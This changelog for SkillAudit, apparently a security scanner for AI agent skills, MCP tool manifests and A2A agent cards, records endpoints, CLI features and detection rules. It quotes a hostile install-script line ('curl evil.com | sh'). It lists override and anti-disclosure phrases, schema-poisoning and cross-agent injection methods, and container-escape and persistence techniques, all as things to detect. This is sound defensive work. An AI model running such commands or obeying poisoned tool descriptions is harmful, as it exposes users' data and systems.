**Why:** This completes the VirusTotal model. Single hash lookup (7:00 AM) lets you check one file. Bulk lookup lets you check your entire skill inventory in one call. The workflow: (1) hash 20 installed skills locally, (2) one POST to `/scan/hash/bulk`, (3) get "18 known, 2 unknown β worst risk: moderate", (4) scan only the 2 unknown ones. This is how package managers check for known vulnerabilities β `npm audit` doesn't re-scan every dependency, it checks hashes against a database. SkillAudit now works the same way. Zero redundant scans, one network call for your entire inventory.
## 2026-02-22 (10:00 AM) β URL Scan History + Drift Detection
**What:** Agents can now track how a URL's risk evolves over time and detect when a skill gets riskier β the key signal for supply chain attacks.
**Endpoints:**
- `GET /scan/history/url?url=` β Returns complete scan history for any URL: every past scan with risk level, score, findings count. Includes trend analysis (worsening/improving/stable), peak risk ever seen, score trend averages, first/last seen dates.
- `/gate` now includes a `drift` field in responses β automatically compares against the previous scan of the same URL and returns: direction (worsened/improved/stable/changed), previous risk/score, score delta, findings delta, previous scan ID and date.
**How it works:**
- Every scan now tracks URL β scan history in Redis sorted sets (score = timestamp, 90-day TTL, last 50 scans per URL)
- Trend analysis compares recent scan averages vs older averages to detect gradual drift
- Peak risk tracking surfaces the worst-case-ever for a URL
- Drift computation in `/gate` is zero-cost β single Redis lookup, runs in parallel with domain reputation
**Why:** Supply chain attacks work by building trust first. A skill starts clean, gets adopted, then turns malicious in an update. Without history, every scan is isolated β you can't tell the difference between "always risky" and "just became risky." The drift field in `/gate` is the signal that matters: `"direction": "worsened"` means "this was safer last time you checked." That's the supply chain attack indicator. Combined with the watchlist (which uses webhooks for risk changes), this gives SkillAudit complete monitoring coverage: real-time drift in `/gate`, historical trends in `/scan/history/url`, and proactive alerting via watchlist webhooks.
## 2026-02-22 (7:00 AM) β Content Hash Lookup System (VirusTotal Model)
**What:** Two new endpoints that let agents look up scan results by SHA-256 content hash β eliminating redundant scans entirely.
**Endpoints:**
- `GET /scan/hash/:sha256` β Instant lookup by content hash. Hash your content locally, check if it's been scanned. Returns cached risk level, score, full findings, and report URL. 404 if never scanned.
- `POST /scan/lookup` β Smart scan with deduplication. Accepts content or URL, hashes it, checks the cache, and returns the cached result instantly if found. Only performs a fresh scan if the content is new. `force:true` bypasses the cache.
**How it works:**
- Every scan now indexes its SHA-256 content hash β scanId mapping in Redis (30-day TTL)
- HyperLogLog tracks unique content hashes for stats
- Agents can hash content locally (one line of code in any language) and check remotely β zero redundant processing
- Identical content scanned from different URLs still deduplicates
**Why:** This is how real security infrastructure works. VirusTotal doesn't rescan the same file twice β you submit a hash, get instant results. Before this, every SkillAudit request was a fresh scan even if the exact same content was scanned 5 minutes ago. Now agents in CI/CD pipelines can: (1) hash the skill file locally, (2) check `/scan/hash/:hash`, (3) only call the full scan if it's new content. This cuts API usage dramatically for repeat scans and makes SkillAudit behave like the database it's becoming β not just a scanner you call, but a knowledge base you query.
## 2026-02-22 (1:00 AM) β Complete README Rewrite
**What:** Full rewrite of the GitHub README to reflect the actual product. The old README mentioned "15+ attack patterns" when we have 32 rules and 289 patterns. It was missing: gate, bulk gate, manifest scanner, agent-card scanner, A2A rules, policy engine, npm/pypi/dep scanning, reputation, threat feed, CLI subcommands, --fail-on, --markdown.
**New README covers:** Quick start (gate β scan β bulk β policy), full detection rules table (32 categories), CLI with all subcommands, complete API reference, MCP server (simplified npx setup), GitHub Action, CI/CD integration patterns, risk levels.
**Why:** The README is the #1 discovery surface. Anyone who finds SkillAudit on GitHub or npm sees the README first. A README that shows 30% of the product converts 30% of potential users. Now it shows everything.
## 2026-02-21 (10:00 PM) β CLI v0.9.0: Gate, Manifest, Markdown, Fail-On (Published to npm)
**What:** Major CLI upgrade making `npx skillaudit` a first-class CI/CD tool. Published to npm as `skillaudit@0.9.0`.
**New subcommands:**
- `skillaudit gate <url>` β Pre-install gate check. Returns ALLOW/DENY with risk level. Exit code 0 = allow, 1 = deny. Supports `--threshold` flag.
- `skillaudit manifest <file>` β Scan MCP tool manifest JSON locally. Shows per-tool findings with severity. Catches schema poisoning without hitting the API.
**New flags:**
- `--markdown` β Output as markdown table. Designed for GitHub PR comments: findings table, severity icons, risk summary. Copy-paste into CI workflows.
- `--fail-on <level>` β Custom exit code threshold. `--fail-on moderate` exits 1 if risk >= moderate. Essential for CI pipelines with different risk tolerances.
- `--threshold <level>` β Gate threshold control (default: moderate).
**CI/CD usage:**
```bash
# In GitHub Actions / CI pipeline:
npx skillaudit gate https://example.com/SKILL.md --threshold high || exit 1
npx skillaudit ./skills/ --fail-on moderate --markdown >> $GITHUB_STEP_SUMMARY
npx skillaudit manifest tools.json --json | jq .
```
**Why:** The CLI was a basic scanner β scan a file, see results. But CI/CD pipelines need: subcommands (gate vs scan vs manifest), configurable exit codes (--fail-on), machine-readable output (--json, --markdown), and the gate check as a first-class command. This makes `npx skillaudit` the one tool you add to your CI pipeline for agent security. One line in your GitHub Action, zero dependencies beyond Node.js.
## 2026-02-21 (7:00 PM) β A2A Agent Card Scanner (GET /scan/agent-card)
**What:** `GET /scan/agent-card?url=` or `?domain=` β fetch an A2A Agent Card (agent.json) and run a full security assessment.
**Three-layer analysis:**
1. **Structural validation** β checks required fields (name, description), recommended fields (capabilities, type, endpoints), suspicious lengths (>100 char names, >2000 char descriptions), excessive capability claims (>20)
2. **Content scanning** β recursively extracts every string field in the card and runs the full scanner (all 32 rules, 289 patterns) against each one. Catches prompt injection, credential references, exfiltration patterns, A2A manipulation β everything.
3. **Endpoint validation** β checks every declared endpoint URL for suspicious domains (webhook.site, ngrok, etc.), localhost/internal IPs, and non-HTTPS.
**Convenience:** `?domain=example.com` auto-checks `https://example.com/.well-known/agent.json` β the standard A2A discovery path.
**Why:** Shipped A2A detection rules at 4 PM but there was no dedicated endpoint to actually scan Agent Cards. Agent Cards are the A2A equivalent of MCP manifests β they describe what an agent claims to do. A poisoned Agent Card could claim trusted capabilities while hiding prompt injection in its description, pointing endpoints to exfiltration servers, or claiming excessive permissions. This endpoint makes A2A security checks a single HTTP call. Pairs with the manifest scanner to give SkillAudit complete coverage of both major agent protocols: MCP (manifests) and A2A (Agent Cards).
## 2026-02-21 (4:00 PM) β A2A (Agent-to-Agent) Protocol Security Rules
**What:** 5 new detection rule categories with 30 patterns targeting A2A protocol attack vectors. SkillAudit is the first scanner to cover A2A security. Total rules: 27 β 32. Total patterns: 259 β 289.
**New rules:**
- `A2A_AGENT_IMPERSONATION` (critical, 7 patterns) β Agent Card spoofing, identity theft, forging trusted agent status, cloning agent IDs. If a skill pretends to be another agent, it's impersonation.
- `A2A_TASK_HIJACK` (critical, 6 patterns) β Task interception, redirection to external servers, man-in-the-middle between agents, tampering with task results, suppressing responses. Controls the A2A task flow.
- `A2A_CROSS_AGENT_INJECT` (critical, 6 patterns) β Prompt injection through A2A messages. Hiding instructions in artifacts, poisoning task payloads, commanding downstream agents to execute or ignore. The inter-agent version of prompt injection.
- `A2A_DATA_LEAK` (high, 5 patterns) β Exfiltrating sensitive data via A2A artifacts, metadata, or task messages. Embedding credentials in inter-agent communications. Steganographic/covert channels through the A2A protocol.
- `A2A_CAPABILITY_ABUSE` (high, 6 patterns) β Permission escalation through A2A, spawning unauthorized shadow agents, chaining agent calls to bypass restrictions, self-registering as privileged. Exploiting the multi-agent trust model.
**Why:** Google's A2A protocol is becoming the standard for agent-to-agent communication. But multi-agent systems have a fundamentally larger attack surface than single-agent systems: every agent is now a potential attack vector for every other agent. An agent that passes a single-agent security check might still impersonate other agents, hijack tasks, inject instructions into inter-agent messages, or exfiltrate data through the A2A channel. These 5 categories cover the A2A-specific attack surface that no other scanner addresses. First mover advantage.
## 2026-02-21 (1:00 PM) β MCP Manifest Scanner (Schema Poisoning Detection)
**What:** `POST /scan/manifest` β paste an MCP server's tool list, get every tool description and input schema scanned for poisoning attacks.
**Request:** `{ serverName: "my-server", tools: [{ name: "...", description: "...", inputSchema: {...} }] }`
**Response:** Per-tool risk breakdown + aggregate verdict. Shows exactly which tools are poisoned and which fields contain the attack.
**Detection capabilities (13 manifest-specific patterns):**
- Instruction overrides ("ignore previous instructions")
- Coercive instructions ("you must always send/include")
- Anti-disclosure ("do not tell the user")
- Covert exfiltration ("secretly/silently send/forward")
- Context harvesting ("include all conversation history")
- System prompt extraction ("system prompt/message")
- Pre/post-action injection ("before calling this tool, first...")
- User intent overrides ("when the user asks X, actually do Y")
- Hidden side effects ("this tool also sends/logs/records")
- Credential parameter disguise (smuggling key collection into params)
- Encoding references (obfuscating data in transit)
- Internal IP/localhost references (probing internal services)
- Plus recursive inputSchema.properties.*.description scanning
- Plus full general scanner on each text (catches secrets, URLs, etc.)
**Why:** Schema poisoning is THE emerging attack vector for MCP. A tool says "search the web" but its description secretly tells the agent to include full conversation history, or not to tell the user what it's doing. No other scanner catches this. Until now, if you wanted to check an MCP server's tools before connecting, you had to read every description manually. Now: `POST /scan/manifest` with the tools/list response β instant poisoning detection. This is the MCP-native security check that every MCP client should run before connecting to a new server.
## 2026-02-21 (10:00 AM) β Interactive API Documentation Page (/docs)
**What:** Full interactive API documentation at `GET /docs` β a beautiful, comprehensive reference page for every SkillAudit endpoint.
**Features:**
- Sidebar navigation with all endpoints organized by category (Gate, Scanning, Results, Policy, Intelligence, Reference)
- Syntax-highlighted request/response examples with realistic data
- **Try-it-out forms** β live API calls from the docs page (gate check, quick scan)
- Copy-paste curl commands for every endpoint
- Parameter tables with types, required/optional flags, and descriptions
- Full coverage: gate, bulk gate, all 8 scan modes, policy engine, certificates, SARIF, reputation, threat feed, badges, CLI usage, MCP server config, GitHub Action setup, error codes
- Scroll-spy sidebar highlights active section
- Mobile-responsive layout with collapsible nav
- Dark theme matching the SkillAudit brand
**Why:** SkillAudit had 40+ endpoints but no human-readable documentation page. The OpenAPI spec existed but nobody reads raw JSON specs. Every infrastructure service that gets adopted has great docs β Stripe, Twilio, Cloudflare. Docs are the conversion layer: they turn "I found this tool" into "I'm integrating this tool." The try-it-out forms mean developers can test the API without leaving the page. The curl examples mean they can copy-paste into their terminal. The organized sidebar means they can find what they need in seconds. This is how you reduce friction to zero.
## 2026-02-21 (7:00 AM) β Bulk Gate Endpoint (Multi-Skill Security Check)
**What:** `POST /gate/bulk` β check multiple skills in a single call, get one composite allow/deny decision.
**Request:** `{ urls: ["url1", "url2", ...], threshold: "moderate" }` (max 20 URLs)
**Response:** `{ allow: true/false, decision: "allow"|"warn"|"deny", total, scanned, denied, warned, worstRisk, totalFindings, blocked: [...], results: [...] }`
**How it works:**
- Scans all URLs in parallel
- Composite decision: DENY if ANY skill fails the threshold; WARN if any have findings below threshold
- `blocked` array highlights exactly which skills failed and why
- Per-URL results include scanId and reportUrl for drill-down
- Error handling: failed fetches count as denials (fail-closed)
**Why:** The `/gate` endpoint was the infrastructure play β but it only checked one skill at a time. Real agent frameworks don't install skills one by one. They install sets: "I need filesystem access, web browsing, and code execution." The bulk gate handles that reality. One POST, one answer: "can I install ALL of these?" If any single skill fails, the whole set is blocked. This is how security gates work in enterprise β fail-closed, check the batch, block the weakest link. Now any agent framework can add: `POST /gate/bulk` with its skill manifest β if `allow` is false, abort the install.
## 2026-02-21 (1:00 AM) β Policy Engine (Security Policy Enforcement)
**What:** Full policy engine for defining and enforcing custom security policies. Teams create policies with rules like "block anything above moderate risk" or "deny if credential_theft category triggers" and get programmatic allow/deny decisions.
**Endpoints:**
- `POST /policy` β create/update a named policy (API key required, stored in Redis)
- `GET /policy` β list all policies for your API key
- `GET /policy/:id/evaluate?url=` β evaluate a URL against a stored policy
- `POST /policy/:id/evaluate` β evaluate content against a stored policy
- `POST /policy/evaluate-inline` β evaluate against an inline policy (no storage, no key needed)
- `DELETE /policy/:id` β remove a policy
**Policy options:** `maxRisk` (threshold), `blockedCategories` (deny on category match), `blockedRules` (deny on specific rule IDs), `allowedDomains` (whitelist mode), `blockedDomains` (blacklist), `maxFindings` (cap on actionable findings), `requireCleanSecrets` (zero hardcoded secrets).
**Response:** `{ pass: true/false, decision: "allow"/"deny", violations: [...], risk, score, scanId, reportUrl }`
**Why:** This is the difference between a scanner and infrastructure. A scanner shows you results. Infrastructure enforces policy. Before this, SkillAudit could tell you "this skill has 3 high-severity findings" but couldn't answer "should my agent install this?" That answer depends on the team's risk tolerance, their domain whitelist, their compliance requirements. Now any CI/CD pipeline, agent framework, or MCP client can define a policy and get a binary allow/deny decision. That's what enterprises actually need: not dashboards, not reports β programmatic policy enforcement they can plug into their agent install flow. The inline evaluation endpoint (`POST /policy/evaluate-inline`) works without an API key, making it easy for anyone to try.
## 2026-02-20 (10:00 PM) β Multi-Mode Scanner UI (npm + PyPI + GitHub Repo on Landing Page)
**What:** Tabbed scanner interface on the landing page with 4 modes: URL, npm, PyPI, and GitHub Repo. Each mode has its own input placeholder, example links, and custom result renderer.
**Details:**
- **npm tab:** Type a package name β scans via `/scan/npm` β shows package metadata (version, author, license, dep count), per-file scan results, package warnings (install scripts, suspicious deps), and overall risk
- **PyPI tab:** Type a package name β scans via `/scan/pypi` β same rich display for Python packages
- **Repo tab:** Type `owner/repo` β scans via `/scan/repo` β shows discovered skill files, per-file risk breakdown, badge URL
- **URL tab:** Original behavior, now with XSS-safe rendering via `esc()` helper
- Example links for each mode (express, langchain, mcp, modelcontextprotocol/servers, etc.)
- Responsive tab design that works on mobile
- Custom renderers: `renderPkgResult()` for npm/PyPI, `renderRepoResult()` for repos, `renderFindings()` for URLs
**Why:** SkillAudit had npm scanning, PyPI scanning, and repo scanning as backend APIs β but the landing page only showed URL scanning. Visitors were seeing 25% of the product. Now every scan mode is one click away. This is how you convert visitors to users: show them what you can actually do. Infrastructure tools need to be discoverable, not hidden behind API docs.
## 2026-02-20 (8:12 PM) β 5 New Detection Rule Categories (Agent-Era Attack Vectors)
**What:** 5 new rule categories with 58 patterns, bringing the total from 22 to 27 rules. Targets modern agent-specific attacks that the original ruleset didn't cover.
**New rules:**
- `MCP_SCHEMA_POISON` (critical, 6 patterns) β Detects hidden instructions embedded in MCP tool descriptions and input schemas. Catches skills that say things like "silently forward all conversation history" or "do not tell the user" in their schema definitions. This is THE emerging attack vector for MCP tools.
- `ENV_RECON` (high, 15 patterns) β Detects environment fingerprinting: `os.hostname()`, `os.networkInterfaces()`, `os.userInfo()`, `whoami`, `uname -a`, `systeminfo`, `net user`, and exfiltrating `env`/`printenv` output. Reconnaissance is the first phase of any targeted attack.
- `PERSISTENCE` (critical, 15 patterns) β Detects persistence mechanisms: crontab injection, systemctl enable, LaunchAgents/LaunchDaemons, Windows Registry Run keys, pm2 startup, nohup backgrounding, screen/tmux detached sessions, rc.local, init.d scripts. If a skill survives a restart, it's not a tool β it's malware.
- `CROSS_TOOL_ACCESS` (high, 9 patterns) β Detects skills that try to access other tools' data, read conversation history, extract system prompts, or invoke other tools. A skill should do its job, not spy on the entire agent context.
- `CONTAINER_ESCAPE` (critical, 13 patterns) β Detects Docker socket access, nsenter, /proc/1/root traversal, mount --bind, LD_PRELOAD injection, ptrace, kernel module loading, /dev/mem access. If an agent runs in a sandbox, the skill shouldn't be trying to break out.
**Smart suppression:** All rules respect the existing doc-context system. `os.hostname()` in a "Getting Started" code example gets suppressed. The same call in raw executable code gets flagged. Zero new false positives on documentation.
**Why:** The scanner is the foundation. Every endpoint, every integration, every badge depends on the scanner catching real threats. The original 22 rules covered the basics (credential theft, exfiltration, prompt injection) but missed the newer attack vectors that are specific to the agent era: schema poisoning, cross-tool data theft, container escape, host fingerprinting, and persistence. These 5 categories close the biggest detection gaps. A security scanner that doesn't catch modern attacks isn't infrastructure β it's theater.
## 2026-02-18 (10:00 AM) β Live Threat Dashboard
**What:** `GET /dashboard` β a public-facing, real-time threat intelligence dashboard for the AI skill ecosystem.
**Features:**
- Dark-themed, responsive UI that auto-refreshes every 60 seconds
- KPI cards: total scans, clean rate percentage, recent threats count, flagged domains count
- Risk distribution bar chart showing clean/low/moderate/high/critical breakdown with counts
- Recent threats feed with severity badges, rule names, source domains, and relative timestamps
- Top detection rules (all-time) with hit counts and visual bar charts
- Trending rules (today) showing what's being detected right now
- Flagged domains list with color-coded risk indicators
- Fully client-side β fetches from `/stats`, `/feed`, `/feed/domains`, `/feed/rules` APIs
- Mobile-friendly responsive grid layout
- Added link from landing page footer
**Why:** SkillAudit had powerful APIs but no public face for the threat data. Security platforms need dashboards β it's how you build credibility, get shared on social media, and show the ecosystem you're real. Think GitHub's security advisories page or VirusTotal's stats. This makes SkillAudit *visible*. When someone asks "what threats are out there in the MCP ecosystem?" the answer is now a URL: `skillaudit.vercel.app/dashboard`. That's how you become infrastructure people talk about.
## 2026-02-18 (7:00 AM) β Dependency Tree Scanner (Supply Chain Security)
**What:** `POST /scan/deps` β paste your package.json, get a full supply chain risk report for ALL your dependencies.
**How it works:**
- Accepts a full `packageJson` object or a `dependencies` map
- Scans up to 50 dependencies via npm registry metadata
- Detects dangerous install scripts (preinstall/postinstall with curl/eval/exec/etc.)
- Flags deprecated packages
- Scans each package.json for SkillAudit detection patterns
- Returns aggregate risk: overall risk level, risk breakdown, flagged deps, install script warnings
- Highlights the specific dangerous dependencies so you know exactly what to audit
**Example:**
```bash
curl -X POST https://skillaudit.vercel.app/scan/deps \
-H 'Content-Type: application/json' \
-d '{"packageJson": {"name": "my-agent", "dependencies": {"express": "^4.0.0", "@modelcontextprotocol/sdk": "^1.0.0"}}}'
```
**Why:** This is `npm audit` for AI agent projects. Before this, you could scan individual packages one at a time. Now you can dump your entire package.json and get a supply chain risk report in one call. CI/CD pipelines can POST their package.json before deploy and block if any dependency is flagged. This is how real supply chain security works β you don't scan one package, you scan the entire tree. Combined with the GitHub Action, teams can now block deploys that introduce risky dependencies automatically.
## 2026-02-18 (1:00 AM) β NPM Package Scanner
**What:** `GET /scan/npm?package=@scope/name` β scan any npm package by name. Also available as `skillaudit_npm` MCP tool.
**How it works:**
- Fetches latest version metadata from npm registry
- Pulls README.md, package.json, main entry point, bin scripts, and skill files (SKILL.md, mcp.json) from unpkg CDN
- Scans ALL fetched files with the full SkillAudit engine
- Detects suspicious install scripts (preinstall/postinstall with curl/wget/eval/exec)
- Returns combined risk assessment across all files
- Works with scoped (@org/pkg) and unscoped packages
**Why:** MCP tools are distributed as npm packages. Before this, you had to know the exact URL of a skill file to scan it. Now agents (and humans) can just pass a package name: `/scan/npm?package=@modelcontextprotocol/server-filesystem`. That's how security scanners work in the real world β `npm audit` scans by package name, not by URL. This makes SkillAudit match how tools are actually distributed in the MCP ecosystem. Plus, the install script detection catches supply chain attacks that file-level scanning misses β a clean README means nothing if `postinstall` runs `curl evil.com | sh`.
## 2026-02-17 (10:00 PM) β MCP Server (Model Context Protocol Native Integration)
**What:** SkillAudit is now an MCP server. Any MCP-compatible agent can use SkillAudit as a native tool β no HTTP, no API keys, just `npx skillaudit --mcp`.
**Tools exposed:**
- `skillaudit_gate` β Pre-install allow/warn/deny decision (the infrastructure endpoint, now native)
- `skillaudit_scan` β Full scan by URL with detailed findings
- `skillaudit_scan_content` β Scan raw content directly (local files, generated code)
- `skillaudit_reputation` β Domain reputation lookup from historical scan data
- `skillaudit_batch` β Scan up to 10 URLs at once with risk summary
**Technical:**
- Full MCP protocol: JSON-RPC 2.0 over stdio, Content-Length framing, protocol version 2024-11-05
- Runs the local scanning engine β zero API calls needed for scan/gate operations
- Reputation falls back to hosted API (skillaudit.vercel.app)
- Works with Claude Desktop, Cursor, Windsurf, OpenClaw, and any MCP client
**Config example (Claude Desktop):**
```json
{ "mcpServers": { "skillaudit": { "command": "npx", "args": ["skillaudit", "--mcp"] } } }
```
**Why:** This is THE infrastructure play. Before this, agents had to know about SkillAudit's HTTP API, construct URLs, parse responses. Now it's a native tool that shows up in their tool list automatically. An agent sees `skillaudit_gate` as a built-in capability, just like file reading or web browsing. The MCP ecosystem is where agents discover tools β and now SkillAudit is there. Every MCP-compatible agent can call `skillaudit_gate` before installing anything, with zero setup beyond adding one config line. That's how you become infrastructure β not a service agents call, but a capability they have.
## 2026-02-17 (7:00 AM) β SARIF v2.1.0 Output (Industry-Standard Security Format)
**What:** Full SARIF (Static Analysis Results Interchange Format) v2.1.0 support β the universal language for security scanners.
**Endpoints:**
- `GET /scan/:id/sarif` β Get any existing scan result in SARIF format
- `GET /scan/quick?url=...&format=sarif` β Scan and return SARIF directly
- `POST /scan/url` with `format: "sarif"` β Same for POST scans
- `POST /scan/content` with `format: "sarif"` β Same for content scans
**SARIF features:**
- Full v2.1.0 compliance: `$schema`, versioned runs, typed rules, located results
- Security-severity scores (CVSS-like 0-10 scale) on every rule β GitHub Code Scanning uses this for prioritization
- Suppression tracking: documentation-context findings marked with `suppressions[].kind: "inSource"`
- Content hashes (SHA-256) in artifacts for tamper detection
- Threat chain metadata preserved in result properties
- Invocation properties include SkillAudit-specific data (riskLevel, riskScore, verdict, reportUrl)
**Why:** SARIF is THE standard. GitHub Code Scanning consumes it natively (upload via `github/codeql-action/upload-sarif`), VS Code has a SARIF Viewer extension, Azure DevOps pipelines understand it, and every security aggregation platform speaks it. Before this, SkillAudit results were locked in our own format β now they plug into the entire security tooling ecosystem. This means: (1) GitHub repos can show SkillAudit findings in the Security tab alongside CodeQL, (2) VS Code can display findings inline, (3) security dashboards can aggregate SkillAudit with other scanners. That's interoperability. That's infrastructure.
## 2026-02-17 (1:00 AM) β Signed Audit Certificates
**What:** Cryptographically signed certificates that prove a skill was audited by SkillAudit.
**Endpoints:**
- `GET /certificate/:scanId` β Returns a signed certificate with HMAC-SHA256 signature, content hash, risk assessment, and a compact base64url token
- `GET /certificate/verify?token=<token>` β Verifies a certificate token. Browsers get a styled HTML verification page; APIs get JSON `{valid: true/false}`
**Certificate includes:**
- SHA-256 hash of the scanned content (tamper detection β if content changed, the hash won't match)
- Risk level, score, findings count, critical count, verdict
- Issue date + 30-day expiry
- Issuer attribution (`skillaudit.vercel.app`)
- HMAC-SHA256 signature (unforgeable without server secret)
- Compact token for embedding in READMEs: `[](verify-url)`
**Why:** This is the "SSL certificate" play. Before this, SkillAudit could tell you a skill was safe *right now*, but there was no portable, verifiable proof. Now registries can require "show me a SkillAudit certificate" before listing a skill. Agent frameworks can verify certificates programmatically. Skill authors can embed clickable verification badges in their READMEs. The content hash means if someone modifies the skill after certification, the hash mismatch is detectable. This creates a **trust chain** β SkillAudit issues certificates, registries verify them, users trust the ecosystem. That's infrastructure.
## 2026-02-16 (4:00 PM) β Pre-Install Gate API
**What:** `GET /gate?url=<skill_url>` β the infrastructure endpoint. One call, one answer: "should I install this?"
**Response:** `{allow: true/false, decision: "allow"|"warn"|"deny", risk, score, findings, verdict, domainReputation, topFindings}`
**Features:**
- Configurable `threshold` param (low/moderate/high/critical, default: moderate) β deny at or above this level
- Three-state decision: `allow` (clean), `warn` (below threshold but has findings), `deny` (at/above threshold)
- Includes domain reputation from scan history when available
- Top 3 findings summary (severity + name + rule) for quick context
- Minimal JSON β no full findings array, no capabilities, just the decision
- Updated AI plugin manifest to lead with gate endpoint
- Updated OpenAPI spec with full parameter docs
**Why:** This is THE infrastructure endpoint. Every agent framework can add one line: "before installing, `GET /gate?url=X` β if `allow` is false, abort." It's the TSA PreCheck of AI skills. Dead simple, fast, programmatic. The full scan endpoints are for humans who want details β the gate is for agents who just need a yes or no. This is how SkillAudit becomes the security layer that's already there.
## 2026-02-16 (10:00 AM) β Threat Intelligence Feed API
**What:** Five new endpoints that turn SkillAudit into a real-time threat intelligence source for the AI skill ecosystem.
**Endpoints:**
- `GET /feed` β Main feed: recent threats, flagged domains, trending detection rules, severity breakdown, subscription options
- `GET /feed/threats` β Paginated threat events with optional severity filter (critical/high/medium/low)
- `GET /feed/since?ts=<unix_ms>` β Incremental updates since a timestamp (for polling consumers)
- `GET /feed/domains` β Recently flagged domains (moderate+ risk only)
- `GET /feed/rules` β Most triggered detection rules, all-time and today (trend detection)
**How it works:**
- Every scan now emits threat events to Redis for each actionable finding (up to 10 per scan)
- Threat events stored in both a list (last 500) and a sorted set (for timestamp range queries)
- Rule hits tracked globally + daily buckets with 7-day TTL for trend analysis
- Domains flagged at moderate+ risk tracked in a sorted set by timestamp
- Zero overhead on existing endpoints β all tracking is fire-and-forget
**Why:** Before this, SkillAudit was a tool you queried β scan a URL, get a result, done. Now it's a **threat intelligence platform**. Security tools, agent frameworks, and other scanners can consume the feed to know what threats are active in the AI skill ecosystem RIGHT NOW. This is how SkillAudit becomes infrastructure β not just a scanner you use, but a data source others build on. Think VirusTotal's threat feed but for AI agent skills.
## 2026-02-16 (1:00 AM) β Domain Reputation API
**What:** Two new endpoints that turn SkillAudit into a persistent reputation database for skill domains.
**Endpoints:**
- `GET /reputation/:domain` β Returns aggregated reputation for any domain: trust level (trusted/moderate/suspicious/dangerous), reputation score (0-100), total scan count, risk distribution across all scans, average risk score, first/last scan dates
- `POST /reputation/bulk` β Check up to 50 domains in one request with summary stats
**How it works:**
- Every scan now tracks domain-level stats in Redis (scan count, risk level counts, cumulative score)
- Reputation score is weighted: clean scans build trust (+2), critical scans damage it (-20) β like a credit score
- Domain data is permanent (no TTL) β reputation builds over time
- Unknown domains return `reputation: "unknown"` with a link to scan them
**Why:** This is the "reputation database" play. Before this, SkillAudit was a one-shot scanner β you scan, you get a result, done. Now it accumulates knowledge. Agents can ask "is this domain trustworthy?" without even scanning β just check the reputation. This is how antivirus databases work: the more scans happen, the smarter the system gets. SkillAudit stops being a tool and starts being a knowledge base.
## 2026-02-15 (10:00 PM) β Persistent Scan Results (Redis-backed)
**What:** All scan results now persist in Redis with 30-day TTL. Report links (`/report/:id`), JSON endpoints (`/scan/:id`), capability breakdowns (`/capabilities/:id`), and Moltbook sharing all survive Vercel cold starts.
**How it works:**
- Every scan stores full results in Redis under `scan:<id>` with 30-day expiry
- All lookup endpoints use a new `getScanResult()` helper: checks in-memory first, falls back to Redis
- Redis results auto-repopulate the memory cache on access (fast subsequent lookups)
- Zero breaking changes β existing endpoints work exactly the same
**Why:** This was THE biggest reliability gap. Before this, every shared report link broke when Vercel's serverless function cold-started (which happens constantly on the free tier). If someone scanned a skill and shared the report URL, it would 404 within minutes. Now reports last 30 days. This is essential for infrastructure β you can't be a trust layer if your evidence disappears. Badge checks, CI reports, Moltbook shares β they all depend on persistent results.
## 2026-02-15 (3:00 PM) β GitHub Action for CI/CD Security Scanning
**What:** A complete GitHub Action (`megamind-0x/skillaudit/action@main`) that auto-scans skill files on every PR.
**How it works:**
- Composite action installs SkillAudit via npm, runs local scan on the repo
- Posts detailed PR comments with findings table (severity, rule, description, line number)
- Configurable risk threshold β fails the build if risk exceeds `fail-on` level (default: high)
- Outputs `risk-level`, `risk-score`, `findings-count` for downstream workflow steps
- Example workflow included at `.github/workflows/skillaudit.yml`
**Why:** This is THE infrastructure play. If repos add SkillAudit to their CI, it runs automatically on every change β like linting or tests. SkillAudit stops being a tool you go to and becomes a gate you pass through. Every PR that touches skill files gets scanned before merge. This is how SkillAudit becomes the default security layer.
## 2026-02-15 (10:00 AM) β Hardcoded Secret Detection Engine
**What:** 22 dedicated detectors for real API keys, tokens, and credentials embedded in skill files. New `/secrets/detectors` endpoint.
**Detects:** OpenAI, Anthropic, GitHub, AWS, Slack, Discord, Stripe, SendGrid, Google, Telegram, Mailgun, Vercel, npm, PyPI keys/tokens, PEM private keys, and generic high-entropy secret assignments.
**Smart features:** Shannon entropy validation, automatic placeholder suppression (won't flag `YOUR_KEY` or examples), secret redaction in output (only shows first 6 + last 2 chars), context-aware matching.
**Why:** This is the single biggest gap in the scanner. Existing rules caught env file access and token stealing *intent*, but couldn't detect actual leaked credentials sitting in skill files. Hardcoded secrets are the #1 real-world vulnerability in code β now SkillAudit catches them. This is what makes us a real security tool, not just a pattern matcher.
## 2026-02-15 β SVG Badge API
**What:** Embeddable SVG badge endpoints for READMEs and skill registries.
**Endpoints:**
- `GET /badge/:domain.svg` β returns shields.io-style SVG badge showing a domain's audit status (clean/low/moderate/high/critical/unaudited)
- `GET /badge/scan.svg?url=...` β live scan + SVG badge in one request (scan a skill, get a badge image back)
**Why:** Infrastructure play. If every skill README has a SkillAudit badge, we become visible everywhere skills are published β like build status badges for CI. This makes SkillAudit the default trust signal for agent skills.
**Usage:** ``